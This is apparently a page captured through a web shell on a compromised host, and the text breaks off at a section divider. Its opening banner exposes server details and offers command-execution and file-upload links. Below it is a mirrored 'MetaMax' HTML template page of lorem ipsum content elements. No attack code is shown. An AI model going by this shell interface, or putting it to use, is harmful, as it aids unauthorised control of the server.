|
Server IP : 103.53.40.154 / Your IP : 18.221.167.11 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/ppcad7no/ppcadsexpert.com/static/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en">
<!-- Mirrored from html.cwsthemes.com/metamax/content-elements.html by HTTrack Website Copier/3.x [XR&CO'2014], Sat, 16 Oct 2021 04:28:49 GMT -->
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="" />
<meta name="keywords" content="" />
<link rel="icon" href="assets/images/favicon.html" sizes="32x32" type="image/png">
<title>MetaMax – SEO and Marketing HTML5 Template</title>
<link rel="stylesheet" href="assets/css/all.min.css">
<link rel="stylesheet" href="assets/css/flaticon.css">
<link rel="stylesheet" href="assets/css/animate.min.css">
<link rel="stylesheet" href="assets/css/bootstrap.min.css">
<link rel="stylesheet" href="assets/css/bootstrap-select.min.css">
<link rel="stylesheet" href="assets/css/owl.carousel.min.css">
<link rel="stylesheet" href="assets/css/jquery.fancybox.min.css">
<link rel="stylesheet" href="assets/css/perfect-scrollbar.css">
<link rel="stylesheet" href="assets/css/slick.css">
<link rel="stylesheet" href="assets/css/style.css">
<link rel="stylesheet" href="assets/css/responsive.css">
<link rel="stylesheet" href="assets/css/color.css">
</head>
<body>
<main>
<div id="mta-page-loader-container" class="mta-loader-container style1">
<div id="mta-page-loader" class="mta-loader">
<div class="inner"></div>
<img class="loader-logo" src="assets/images/loader-logo.png" alt="Loader Logo">
</div>
</div>
<header class="stick style1 logo-left">
<div class="container d-flex flex-row justify-content-between flex-nowrap">
<div class="header-nav-wrap w-100">
<nav class="nav-wrap d-flex flex-row align-items-center justify-content-between flex-nowrap">
<div class="menu-wrap d-flex flex-row justify-content-start flex-nowrap w-100">
<div class="logo">
<a class="desktop-logo" href="index-2.html" title="Home">
<img class="default-logo img-fluid" src="assets/images/logo.png" alt="Logo" srcset="assets/images/logo.png 2x">
<img class="sticky-logo img-fluid" src="assets/images/logo2.png" alt="Logo" srcset="assets/images/logo2.png 2x">
</a>
</div><!-- Logo -->
<div class="menu d-flex flex-row align-items-center justify-content-end flex-nowrap w-100">
<ul class="main-menu mb-0 list-unstyled d-flex flex-row align-items-center justify-content-start flex-wrap">
<li class="menu-item-has-children"><a href="javascript:void(0);" title="">Home</a>
<ul class="children mb-0 list-unstyled">
<li><a href="index-2.html" title="">Home 1</a></li>
<li><a href="index2.html" title="">Home 2</a></li>
<li><a href="index3.html" title="">Home 3</a></li>
<li><a href="index4.html" title="">Home 4</a></li>
</ul>
</li>
<li class="menu-item-has-children"><a href="javascript:void(0);" title="">Pages</a>
<ul class="children mb-0 list-unstyled">
<li><a href="about.html" title="">About Us</a></li>
<li><a href="our-approaches.html" title="">Our Approaches</a></li>
<li><a href="services.html" title="">Our Services</a></li>
<li><a href="content-elements.html" title="">Content Elements</a></li>
<li><a href="pricing-plan.html" title="">Pricing Plans</a></li>
</ul>
</li>
<li class="menu-item-has-children"><a href="javascript:void(0);" title="">Portfolio</a>
<ul class="children mb-0 list-unstyled">
<li><a href="masonry.html" title="">Masonry</a></li>
<li><a href="masonry-filters.html" title="">With Filter</a></li>
<li><a href="full-width.html" title="">Full Width</a></li>
<li><a href="2column.html" title="">Two Columns</a></li>
<li><a href="4column.html" title="">Four Columns</a></li>
<li><a href="gallery.html" title="">Gallery</a></li>
<li class="menu-item-has-children"><a href="javascript:void(0);" title="">Portfolio Singles</a>
<ul class="children mb-0 list-unstyled">
<li><a href="data-analysis.html" title="">Small Images</a></li>
<li><a href="content-audit.html" title="">Big Images</a></li>
<li><a href="new-strategies.html" title="">Slider</a></li>
<li><a href="creative-campaigns.html" title="">Two Cols Gallery</a></li>
<li><a href="market-intelligence.html" title="">Three Cols Gallery</a></li>
</ul>
</li>
</ul>
</li>
<li class="menu-item-has-children"><a href="javascript:void(0);" title="">Blogs</a>
<div class="megamenu">
<div class="row mrg40">
<div class="col-md-4 col-sm-6 col-lg-4">
<h4>Blog</h4>
<ul class="mb-0 list-unstyled">
<li><a href="blog-checkerboard.html" title="">Checkerboard</a></li>
<li><a href="blog-masonry.html" title="">Masonry</a></li>
<li><a href="blog-masonry-full-width.html" title="">Masonry Full Width</a></li>
<li><a href="blog-2column.html" title="">Two Columns</a></li>
<li><a href="blog-3column.html" title="">Three Columns</a></li>
<li><a href="blog-4column.html" title="">Four Columns</a></li>
</ul>
</div>
<div class="col-md-4 col-sm-6 col-lg-4">
<h4>Standard</h4>
<ul class="mb-0 list-unstyled">
<li><a href="blog-list-rightsidebar.html" title="">Large Images</a></li>
<li><a href="blog-list-medium.html" title="">Medium Images</a></li>
<li><a href="blog-list-small.html" title="">Small Images</a></li>
<li><a href="blog-nosidebar.html" title="">Without Sidebar</a></li>
<li><a href="blog-list-leftsidebar.html" title="">Left Sidebar</a></li>
</ul>
</div>
<div class="col-md-4 col-sm-6 col-lg-4">
<h4>Post Types</h4>
<ul class="mb-0 list-unstyled">
<li><a href="blog-detail-audio.html" title="">Audio</a></li>
<li><a href="blog-detail-link.html" title="">Link</a></li>
<li><a href="blog-detail-quote.html" title="">Quote</a></li>
<li><a href="blog-detail-image.html" title="">Image</a></li>
<li><a href="blog-detail-video.html" title="">Video</a></li>
</ul>
</div>
</div>
</div>
</li>
<li class="menu-item-has-children"><a href="javascript:void(0);" title="">Shop</a>
<ul class="children mb-0 list-unstyled">
<li><a href="shop.html" title="">Shop</a></li>
<li><a href="shop-detail.html" title="">Shop Detail</a></li>
<li><a href="cart.html" title="">Cart</a></li>
<li><a href="checkout.html" title="">Checkout</a></li>
<li><a href="shop-shortcodes.html" title="">Shortcodes</a></li>
</ul>
</li>
<li><a href="contact.html" title="">Contacts</a></li>
</ul>
</div><!-- Menu -->
</div><!-- Menu Wrap -->
<div class="menu-right-icons d-flex flex-row align-items-center justify-content-end flex-nowrap">
<span class="search-btn"></span>
<div class="mini-cart">
<a href="javascript:void(0);" title="View your shopping cart"><i class="metaicon-cart"></i><span>3</span></a>
<div class="minicart-dropdown">
<ul class="mb-0 list-unstyled w-100">
<li>
<div class="minicart-item d-flex flex-wrap w-100">
<a href="shop-detail.html" title=""><img class="img-fluid" src="assets/images/resources/prod-img1-1.jpg" alt="Cart Image 1"></a>
<div class="minicart-info">
<h6 class="mb-0"><a href="shop-detail.html" title="">5 SEO Secrets</a></h6>
<span class="price">$21.00</span>
<a class="remove-cart" href="javascript:void(0);" title=""><i class="metaicon-cancel-music"></i></a>
</div>
</div>
</li>
<li>
<div class="minicart-item d-flex flex-wrap w-100">
<a href="shop-detail.html" title=""><img class="img-fluid" src="assets/images/resources/prod-img1-2.jpg" alt="Cart Image 2"></a>
<div class="minicart-info">
<h6 class="mb-0"><a href="shop-detail.html" title="">Business SEO</a></h6>
<span class="price">$15.00</span>
<a class="remove-cart" href="javascript:void(0);" title=""><i class="metaicon-cancel-music"></i></a>
</div>
</div>
</li>
<li>
<div class="minicart-item d-flex flex-wrap w-100">
<a href="shop-detail.html" title=""><img class="img-fluid" src="assets/images/resources/prod-img1-3.jpg" alt="Cart Image 3"></a>
<div class="minicart-info">
<h6 class="mb-0"><a href="shop-detail.html" title="">Secrets Business</a></h6>
<span class="price">$14.00</span>
<a class="remove-cart" href="javascript:void(0);" title=""><i class="metaicon-cancel-music"></i></a>
</div>
</div>
</li>
</ul>
<div class="d-block btns-total w-100">
<span>Subtotal: <span class="price">$50.00</span></span>
<div class="btns-wrap d-flex flex-wrap w-100">
<a class="theme-btn fill-btn3" href="cart.html" title="">View Cart</a>
<a class="theme-btn bordered-btn" href="checkout.html" title="">Checkout</a>
</div>
</div>
</div>
</div>
</div>
</nav>
</div><!-- Header Nav Wrap -->
</div>
</header><!-- Header -->
<div class="header-search d-flex flex-wrap justify-content-center align-items-center w-100">
<span class="search-close-btn"><i class="metaicon-cancel-music"></i></span>
<form>
<input type="text" placeholder="Search">
</form>
</div><!-- Header Search -->
<div class="responsive-header w-100">
<div class="responsive-topbar w-100">
<div class="container d-flex flex-wrap justify-content-between">
<div class="logo">
<a href="index-2.html" title="Home"><img class="img-fluid" src="assets/images/logo.png" alt="Logo"></a>
</div><!-- Logo -->
<div class="menu-right-icons text-white d-flex flex-row align-items-center justify-content-end flex-nowrap">
<span class="responsive-menu-btn"><i class="fas fa-align-justify"></i></span>
<span class="search-btn"></span>
<div class="mini-cart">
<a href="javascript:void(0);" title="View your shopping cart"><i class="metaicon-cart"></i><span>3</span></a>
<div class="minicart-dropdown">
<ul class="mb-0 list-unstyled w-100">
<li>
<div class="minicart-item d-flex flex-wrap w-100">
<a href="shop-detail.html" title=""><img class="img-fluid" src="assets/images/resources/prod-img1-1.jpg" alt="Cart Image 1"></a>
<div class="minicart-info">
<h6 class="mb-0"><a href="shop-detail.html" title="">5 SEO Secrets</a></h6>
<span class="price">$21.00</span>
<a class="remove-cart" href="javascript:void(0);" title=""><i class="metaicon-cancel-music"></i></a>
</div>
</div>
</li>
<li>
<div class="minicart-item d-flex flex-wrap w-100">
<a href="shop-detail.html" title=""><img class="img-fluid" src="assets/images/resources/prod-img1-2.jpg" alt="Cart Image 2"></a>
<div class="minicart-info">
<h6 class="mb-0"><a href="shop-detail.html" title="">Business SEO</a></h6>
<span class="price">$15.00</span>
<a class="remove-cart" href="javascript:void(0);" title=""><i class="metaicon-cancel-music"></i></a>
</div>
</div>
</li>
<li>
<div class="minicart-item d-flex flex-wrap w-100">
<a href="shop-detail.html" title=""><img class="img-fluid" src="assets/images/resources/prod-img1-3.jpg" alt="Cart Image 3"></a>
<div class="minicart-info">
<h6 class="mb-0"><a href="shop-detail.html" title="">Secrets Business</a></h6>
<span class="price">$14.00</span>
<a class="remove-cart" href="javascript:void(0);" title=""><i class="metaicon-cancel-music"></i></a>
</div>
</div>
</li>
</ul>
<div class="d-block btns-total w-100">
<span>Subtotal: <span class="price">$50.00</span></span>
<div class="btns-wrap d-flex flex-wrap w-100">
<a class="theme-btn fill-btn3" href="cart.html" title="">View Cart</a>
<a class="theme-btn bordered-btn" href="checkout.html" title="">Checkout</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="responsive-menu">
<div class="logo d-inline-block w-100">
<a href="index-2.html" title="Home"><img class="img-fluid" src="assets/images/logo2.png" alt="Logo"></a>
</div>
<ul class="mb-0 list-unstyled">
<li class="menu-item-has-children"><a href="javascript:void(0);" title="">Home</a>
<ul class="children mb-0 list-unstyled">
<li><a href="index-2.html" title="">Home 1</a></li>
<li><a href="index2.html" title="">Home 2</a></li>
<li><a href="index3.html" title="">Home 3</a></li>
<li><a href="index4.html" title="">Home 4</a></li>
</ul>
</li>
<li class="menu-item-has-children"><a href="javascript:void(0);" title="">Pages</a>
<ul class="children mb-0 list-unstyled">
<li><a href="about.html" title="">About Us</a></li>
<li><a href="our-approaches.html" title="">Our Approaches</a></li>
<li><a href="services.html" title="">Our Services</a></li>
<li><a href="content-elements.html" title="">Content Elements</a></li>
<li><a href="pricing-plan.html" title="">Pricing Plans</a></li>
</ul>
</li>
<li class="menu-item-has-children"><a href="javascript:void(0);" title="">Portfolio</a>
<ul class="children mb-0 list-unstyled">
<li><a href="masonry.html" title="">Masonry</a></li>
<li><a href="masonry-filters.html" title="">With Filter</a></li>
<li><a href="full-width.html" title="">Full Width</a></li>
<li><a href="2column.html" title="">Two Columns</a></li>
<li><a href="4column.html" title="">Four Columns</a></li>
<li><a href="gallery.html" title="">Gallery</a></li>
<li class="menu-item-has-children"><a href="javascript:void(0);" title="">Portfolio Singles</a>
<ul class="children mb-0 list-unstyled">
<li><a href="data-analysis.html" title="">Small Images</a></li>
<li><a href="content-audit.html" title="">Big Images</a></li>
<li><a href="new-strategies.html" title="">Slider</a></li>
<li><a href="creative-campaigns.html" title="">Two Cols Gallery</a></li>
<li><a href="market-intelligence.html" title="">Three Cols Gallery</a></li>
</ul>
</li>
</ul>
</li>
<li class="menu-item-has-children"><a href="javascript:void(0);" title="">Blogs</a>
<ul class="children mb-0 list-unstyled">
<li class="menu-item-has-children"><a href="javascript:void(0);" title="">Blog</a>
<ul class="children mb-0 list-unstyled">
<li><a href="blog-checkerboard.html" title="">Checkerboard</a></li>
<li><a href="blog-masonry.html" title="">Masonry</a></li>
<li><a href="blog-masonry-full-width.html" title="">Masonry Full Width</a></li>
<li><a href="blog-2column.html" title="">Two Columns</a></li>
<li><a href="blog-3column.html" title="">Three Columns</a></li>
<li><a href="blog-4column.html" title="">Four Columns</a></li>
</ul>
</li>
<li class="menu-item-has-children"><a href="javascript:void(0);" title="">Standard</a>
<ul class="children mb-0 list-unstyled">
<li><a href="blog-list-rightsidebar.html" title="">Large Images</a></li>
<li><a href="blog-list-medium.html" title="">Medium Images</a></li>
<li><a href="blog-list-small.html" title="">Small Images</a></li>
<li><a href="blog-nosidebar.html" title="">Without Sidebar</a></li>
<li><a href="blog-list-leftsidebar.html" title="">Left Sidebar</a></li>
</ul>
</li>
<li class="menu-item-has-children"><a href="javascript:void(0);" title="">Post Types</a>
<ul class="children mb-0 list-unstyled">
<li><a href="blog-detail-audio.html" title="">Audio</a></li>
<li><a href="blog-detail-link.html" title="">Link</a></li>
<li><a href="blog-detail-quote.html" title="">Quote</a></li>
<li><a href="blog-detail-image.html" title="">Image</a></li>
<li><a href="blog-detail-video.html" title="">Video</a></li>
</ul>
</li>
</ul>
</li>
<li class="menu-item-has-children"><a href="javascript:void(0);" title="">Shop</a>
<ul class="children mb-0 list-unstyled">
<li><a href="shop.html" title="">Shop</a></li>
<li><a href="shop-detail.html" title="">Shop Detail</a></li>
<li><a href="cart.html" title="">Cart</a></li>
<li><a href="checkout.html" title="">Checkout</a></li>
<li><a href="shop-shortcodes.html" title="">Shortcodes</a></li>
</ul>
</li>
<li><a href="contact.html" title="">Contacts</a></li>
</ul>
</div><!-- Responsive Menu -->
</div><!-- Responsive Header -->
<section>
<div class="w-100 pt-60 position-relative">
<div class="fixed-bg" style="background-image: url(assets/images/bg10.jpg);"></div>
<div class="container">
<div class="page-title-wrap text-center w-100 d-inline-block">
<div class="page-title-inner d-inline-block">
<h2 class="mb-0 text-color7">Content Elements</h2>
<p class="mb-0 text-white">Lorem ipsum dolor sit amet, consectetur adipiscing elit, <br> sed do eiusmod tempor incididunt ut labore et dolore</p>
</div>
<div class="breadcrumbs-wrap w-100">
<ul class="breadcrumbs mb-0 list-unstyled d-inline-flex">
<li><a href="index-2.html" title="Home">Home</a></li>
<li class="active">Content Elements</li>
</ul><!-- Breadcrumbs -->
</div>
</div><!-- Page Title Wrap -->
</div>
</div>
</section>
<section>
<div class="w-100 pt-90 pb-90">
<div class="container">
<div class="content-wrap w-100">
<h1>Heading 1</h1>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam tristique porttitor sem, sit amet dictum dolor sollicitudin eu. Aenean sollicitudin rhoncus urna, a tempus ipsum porttitor eu. Aliquam tempus tincidunt mauris, in mattis augue tristique eu. Curabitur euismod velit id fringilla vehicula. In sit amet risus porta, ullamcorper ipsum in, commodo lectus. Sed ultrices accumsan mauris, sed mollis dui semper in.</p>
<h2>Heading 2</h2>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam tristique porttitor sem, sit amet dictum dolor sollicitudin eu. Aenean sollicitudin rhoncus urna, a tempus ipsum porttitor eu. Aliquam tempus tincidunt mauris, in mattis augue tristique eu. Curabitur euismod velit id fringilla vehicula. In sit amet risus porta, ullamcorper ipsum in, commodo lectus. Sed ultrices accumsan mauris, sed mollis dui semper in.</p>
<h3>Heading 3</h3>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam tristique porttitor sem, sit amet dictum dolor sollicitudin eu. Aenean sollicitudin rhoncus urna, a tempus ipsum porttitor eu. Aliquam tempus tincidunt mauris, in mattis augue tristique eu. Curabitur euismod velit id fringilla vehicula. In sit amet risus porta, ullamcorper ipsum in, commodo lectus. Sed ultrices accumsan mauris, sed mollis dui semper in.</p>
<h4>Heading 4</h4>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam tristique porttitor sem, sit amet dictum dolor sollicitudin eu. Aenean sollicitudin rhoncus urna, a tempus ipsum porttitor eu. Aliquam tempus tincidunt mauris, in mattis augue tristique eu. Curabitur euismod velit id fringilla vehicula. In sit amet risus porta, ullamcorper ipsum in, commodo lectus. Sed ultrices accumsan mauris, sed mollis dui semper in.</p>
<h5>Heading 5</h5>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam tristique porttitor sem, sit amet dictum dolor sollicitudin eu. Aenean sollicitudin rhoncus urna, a tempus ipsum porttitor eu. Aliquam tempus tincidunt mauris, in mattis augue tristique eu. Curabitur euismod velit id fringilla vehicula. In sit amet risus porta, ullamcorper ipsum in, commodo lectus. Sed ultrices accumsan mauris, sed mollis dui semper in.</p>
<h6>Heading 6</h6>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam tristique porttitor sem, sit amet dictum dolor sollicitudin eu. Aenean sollicitudin rhoncus urna, a tempus ipsum porttitor eu. Aliquam tempus tincidunt mauris, in mattis augue tristique eu. Curabitur euismod velit id fringilla vehicula. In sit amet risus porta, ullamcorper ipsum in, commodo lectus. Sed ultrices accumsan mauris, sed mollis dui semper in.</p>
</div>
</div>
</div>
</section>
<section>
<div class="w-100 pb-90">
<div class="container-fluid">
<hr class="devider mb-90 w-100">
<div class="container">
<div class="content-wrap w-100">
<h2>Dividers</h2>
<p class="mb-0 mt-35">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam tristique porttitor sem, sit amet dictum dolor sollicitudin eu. Aenean sollicitudin rhoncus urna, a tempus ipsum porttitor eu. Aliquam tempus tincidunt mauris, in mattis augue tristique eu. Curabitur euismod velit id fringilla vehicula. In sit amet risus porta, ullamcorper ipsum in, commodo lectus. Sed ultrices accumsan mauris, sed mollis dui semper in.</p>
<div class="divider1 w-100"></div>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam tristique porttitor sem, sit amet dictum dolor sollicitudin eu. Aenean sollicitudin rhoncus urna, a tempus ipsum porttitor eu. Aliquam tempus tincidunt mauris, in mattis augue tristique eu. Curabitur euismod velit id fringilla vehicula. In sit amet risus porta, ullamcorper ipsum in, commodo lectus. Sed ultrices accumsan mauris, sed mollis dui semper in.</p>
<div class="divider2 w-100"></div>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam tristique porttitor sem, sit amet dictum dolor sollicitudin eu. Aenean sollicitudin rhoncus urna, a tempus ipsum porttitor eu. Aliquam tempus tincidunt mauris, in mattis augue tristique eu. Curabitur euismod velit id fringilla vehicula. In sit amet risus porta, ullamcorper ipsum in, commodo lectus. Sed ultrices accumsan mauris, sed mollis dui semper in.</p>
<div class="divider3 w-100"></div>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam tristique porttitor sem, sit amet dictum dolor sollicitudin eu. Aenean sollicitudin rhoncus urna, a tempus ipsum porttitor eu. Aliquam tempus tincidunt mauris, in mattis augue tristique eu. Curabitur euismod velit id fringilla vehicula. In sit amet risus porta, ullamcorper ipsum in, commodo lectus. Sed ultrices accumsan mauris, sed mollis dui semper in.</p>
<div class="divider4 w-100"></div>
</div>
</div>
</div>
</div>
</section>
<section>
<div class="w-100 pb-90">
<div class="container-fluid">
<hr class="devider mb-90 w-100">
<div class="container">
<div class="content-wrap w-100">
<h2>Lists</h2>
<div class="list-wrap w-100">
<div class="row">
<div class="col-md-4 col-sm-6 col-lg-4">
<ul class="mb-0 mt-25 w-100 list-unstyled checkmarks-style">
<li>Reasons for choosing as</li>
<li>Etiam pretium porta morbi non risus</li>
<li>Lorem ipsum dolor sit amet</li>
</ul>
</div>
<div class="col-md-4 col-sm-6 col-lg-4">
<ul class="mb-0 mt-25 w-100 list-unstyled default-style">
<li>Reasons for choosing as</li>
<li>Etiam pretium porta morbi non risus</li>
<li>Lorem ipsum dolor sit amet</li>
</ul>
</div>
<div class="col-md-4 col-sm-6 col-lg-4">
<ul class="mb-0 mt-25 w-100 list-unstyled dash-style">
<li>Reasons for choosing as</li>
<li>Etiam pretium porta morbi non risus</li>
<li>Lorem ipsum dolor sit amet</li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<section>
<div class="w-100 pb-90">
<div class="container-fluid">
<hr class="devider mb-90 w-100">
<div class="container">
<div class="content-wrap w-100">
<h2 class="mb-0">Info Boxes</h2>
<div class="alert-wrap w-100">
<div class="row">
<div class="col-md-12 col-sm-12 col-lg-6">
<div class="alert alert-primary mb-0 mt-40 alert-dismissible d-flex flex-wrap fade show brd-rd20">
<i class="metaicon-volume-level brd-rd15"></i>
<div class="alert-inner-info">
<h4 class="alert-heading mb-0">Information Box</h4>
<p class="mb-0">Vestibulum sodales pellentesque nibh quis</p>
</div>
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><i class="metaicon-cancel-music"></i></button>
</div>
</div>
<div class="col-md-12 col-sm-12 col-lg-6">
<div class="alert alert-success mb-0 mt-40 alert-dismissible d-flex flex-wrap fade show brd-rd20">
<i class="metaicon-check-mark brd-rd15"></i>
<div class="alert-inner-info">
<h4 class="alert-heading mb-0">Success Message</h4>
<p class="mb-0">Vestibulum sodales pellentesque nibh quis</p>
</div>
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><i class="metaicon-cancel-music"></i></button>
</div>
</div>
<div class="col-md-12 col-sm-12 col-lg-6">
<div class="alert alert-danger mb-0 mt-40 alert-dismissible d-flex flex-wrap fade show brd-rd20">
<i class="metaicon-cancel-music brd-rd15"></i>
<div class="alert-inner-info">
<h4 class="alert-heading mb-0">Error Message</h4>
<p class="mb-0">Vestibulum sodales pellentesque nibh quis</p>
</div>
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><i class="metaicon-cancel-music"></i></button>
</div>
</div>
<div class="col-md-12 col-sm-12 col-lg-6">
<div class="alert alert-warning mb-0 mt-40 alert-dismissible d-flex flex-wrap fade show brd-rd20">
<i class="metaicon-cancel brd-rd15"></i>
<div class="alert-inner-info">
<h4 class="alert-heading mb-0">Warning Message</h4>
<p class="mb-0">Vestibulum sodales pellentesque nibh quis</p>
</div>
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><i class="metaicon-cancel-music"></i></button>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<section>
<div class="w-100 pb-90">
<div class="container-fluid">
<hr class="devider mb-90 w-100">
<div class="container">
<div class="row">
<div class="col-md-12 col-sm-12 col-lg-6">
<div class="content-wrap w-100">
<h2 class="mb-0">Toggles</h2>
<div class="toggle2 w-100 mt-45" id="toggle2">
<div class="toggle-item2 w-100">
<h4 class="mb-0"><i class="metaicon-add"></i> Our Company Progress</h4>
<div class="toggle-content2 w-100">
<p class="mb-0">Lorem ipsum dolor sit amet, consectetur adipicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliq enim ad minim veniam, quis nostrud exercitation.</p>
</div>
</div>
<div class="toggle-item2 w-100">
<h4 class="mb-0"><i class="metaicon-add"></i> Our Recent Projects</h4>
<div class="toggle-content2 w-100">
<p class="mb-0">Lorem ipsum dolor sit amet, consectetur adipicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliq enim ad minim veniam, quis nostrud exercitation.</p>
</div>
</div>
<div class="toggle-item2 w-100">
<h4 class="mb-0"><i class="metaicon-add"></i> Get Training From Experts</h4>
<div class="toggle-content2 w-100" id="toggle-item3">
<p class="mb-0">Lorem ipsum dolor sit amet, consectetur adipicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliq enim ad minim veniam, quis nostrud exercitation.</p>
</div>
</div>
<div class="toggle-item2 w-100">
<h4 class="mb-0"><i class="metaicon-add"></i> Font Awesome Icons Used</h4>
<div class="toggle-content2 w-100">
<p class="mb-0">Lorem ipsum dolor sit amet, consectetur adipicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliq enim ad minim veniam, quis nostrud exercitation.</p>
</div>
</div>
</div>
</div>
</div>
<div class="col-md-12 col-sm-12 col-lg-6">
<div class="content-wrap w-100">
<h2 class="mb-0">Accordions</h2>
<div class="toggle style2 mt-45 w-100" id="toggle">
<div class="toggle-item w-100">
<h4 class="mb-0">Our Company Progress <i class="metaicon-add"></i></h4>
<div class="toggle-content w-100"><p class="mb-0">Lorem ipsum dolor sit amet, consectetur adipicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliq enim ad minim veniam, quis nostrud exercitation.</p></div>
</div>
<div class="toggle-item w-100">
<h4 class="mb-0">Our Recent Projects <i class="metaicon-add"></i></h4>
<div class="toggle-content w-100"><p class="mb-0">Lorem ipsum dolor sit amet, consectetur adipicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliq enim ad minim veniam, quis nostrud exercitation.</p></div>
</div>
<div class="toggle-item w-100">
<h4 class="mb-0">Get Training From Experts <i class="metaicon-add"></i></h4>
<div class="toggle-content w-100"><p class="mb-0">Lorem ipsum dolor sit amet, consectetur adipicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliq enim ad minim veniam, quis nostrud exercitation.</p></div>
</div>
<div class="toggle-item w-100">
<h4 class="mb-0">Font Awesome Icons Used <i class="metaicon-add"></i></h4>
<div class="toggle-content w-100"><p class="mb-0">Lorem ipsum dolor sit amet, consectetur adipicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliq enim ad minim veniam, quis nostrud exercitation.</p></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<section>
<div class="w-100 pb-90">
<div class="container-fluid">
<hr class="devider mb-90 w-100">
<div class="container">
<div class="row">
<div class="col-md-12 col-sm-12 col-lg-6">
<div class="content-wrap w-100">
<h2 class="mb-0">Tabs</h2>
<div class="tabs-wrap w-100 mt-45">
<ul class="nav nav-tabs">
<li class="nav-item"><a class="nav-link active" data-toggle="tab" href="#tab1">Tab 1</a></li>
<li class="nav-item"><a class="nav-link" data-toggle="tab" href="#tab2">Tab 2</a></li>
<li class="nav-item"><a class="nav-link" data-toggle="tab" href="#tab3">Tab 3</a></li>
</ul>
<div class="tab-content">
<div class="tab-pane fade show active" id="tab1">
<p class="mb-0">Lorem ipsum dolor sit amet, consectetur adipicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliq enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</p>
<p class="mb-0">Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est</p>
</div>
<div class="tab-pane fade" id="tab2">
<p class="mb-0">Lorem ipsum dolor sit amet, consectetur adipicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliq enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</p>
<p class="mb-0">Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est</p>
</div>
<div class="tab-pane fade" id="tab3">
<p class="mb-0">Lorem ipsum dolor sit amet, consectetur adipicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliq enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</p>
<p class="mb-0">Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est</p>
</div>
</div>
</div>
</div>
</div>
<div class="col-md-12 col-sm-12 col-lg-6">
<div class="content-wrap w-100">
<h2 class="mb-0">Progress Bar</h2>
<div class="bars-wrap mt-10 w-100">
<div class="bar-box bar1 d-flex flex-wrap justify-content-between w-100 mt-35">
<span>Smarter Driving</span>
<i>25%</i>
<div class="progress progress-bar-striped progress-bar-animated">
<div class="progress-bar w-25 slideInLeft wow" data-wow-duration=".2s" data-wow-delay=".1s"></div>
</div>
</div>
<div class="bar-box bar2 d-flex flex-wrap justify-content-between w-100 mt-35">
<span>Smarter Driving</span>
<i class="text-color20">50%</i>
<div class="progress progress-bar-striped progress-bar-animated">
<div class="progress-bar bg-color20 w-50 slideInLeft wow" data-wow-duration=".2s" data-wow-delay=".2s"></div>
</div>
</div>
<div class="bar-box bar3 d-flex flex-wrap justify-content-between w-100 mt-35">
<span>Smarter Driving</span>
<i class="text-color16">75%</i>
<div class="progress progress-bar-striped progress-bar-animated">
<div class="progress-bar bg-color16 w-75 slideInLeft wow" data-wow-duration=".2s" data-wow-delay=".3s"></div>
</div>
</div>
<div class="bar-box bar4 d-flex flex-wrap justify-content-between w-100 mt-35">
<span>Smarter Driving</span>
<i class="text-color8">100%</i>
<div class="progress progress-bar-striped progress-bar-animated">
<div class="progress-bar bg-color7 w-100 slideInLeft wow" data-wow-duration=".2s" data-wow-delay=".4s"></div>
</div>
</div>
<div class="bar-box bar5 d-flex flex-wrap justify-content-between w-100 mt-35">
<span>Smarter Driving</span>
<i class="text-color2">25%</i>
<div class="progress progress-bar-striped progress-bar-animated">
<div class="progress-bar bg-color2 w-25 slideInLeft wow" data-wow-duration=".2s" data-wow-delay=".5s"></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<section>
<div class="w-100 pb-90">
<div class="container-fluid">
<hr class="devider mb-90 w-100">
